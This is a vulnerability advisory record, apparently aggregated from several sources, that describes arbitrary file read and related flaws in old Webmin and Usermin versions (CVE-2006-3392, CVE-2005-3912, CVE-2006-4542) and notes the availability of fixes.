Summary

Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML, which allows remote attackers to read arbitrary files, as demonstrated using "..%01" sequences, which bypass the removal of "../" sequences before bytes such as "%01" are removed from the filename. NOTE: This is a different issue than CVE-2006-3274.

Metasploit

descriptionA vulnerability has been reported in Webmin and Usermin, which can be exploited by malicious people to disclose potentially sensitive information. The vulnerability is caused due to an unspecified error within the handling of an URL. This can be exploited to read the contents of any files on the server via a specially crafted URL, without requiring a valid login. The vulnerability has been reported in Webmin (versions prior to 1.290) and Usermin (versions prior to 1.220).

    descriptionSeveral vulnerabilities have been identified in webmin, a web-based administration toolkit. The Common Vulnerabilities and Exposures project identifies the following vulnerabilities : - CVE-2005-3912 A format string vulnerability in miniserv.pl could allow an attacker to cause a denial of service by crashing the application or exhausting system resources, and could potentially allow arbitrary code execution. - CVE-2006-3392 Improper input sanitization in miniserv.pl could allow an attacker to read arbitrary files on the webmin host by providing a specially crafted URL path to the miniserv http server. - CVE-2006-4542 Improper handling of null characters in URLs in miniserv.pl could allow an attacker to conduct cross-site scripting attacks, read CGI program source code, list local directories, and potentially execute arbitrary code. Stable updates are available for alpha, amd64, arm, hppa, i386, ia64, m68k, mips, mipsel, powerpc, s390 and sparc.
